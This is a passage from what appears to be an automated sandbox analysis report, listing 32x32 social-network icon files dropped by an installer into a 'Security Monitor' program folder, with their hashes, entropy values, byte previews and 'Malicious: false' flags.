Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-1FFV7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-2P74D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-4PCT5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-5UTJ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-61H5U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-62KR8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-79SIE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-C8SQH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-CO8KR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-D2CD5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-IHOV2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-LMU5U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-LPTRG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-M94JL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
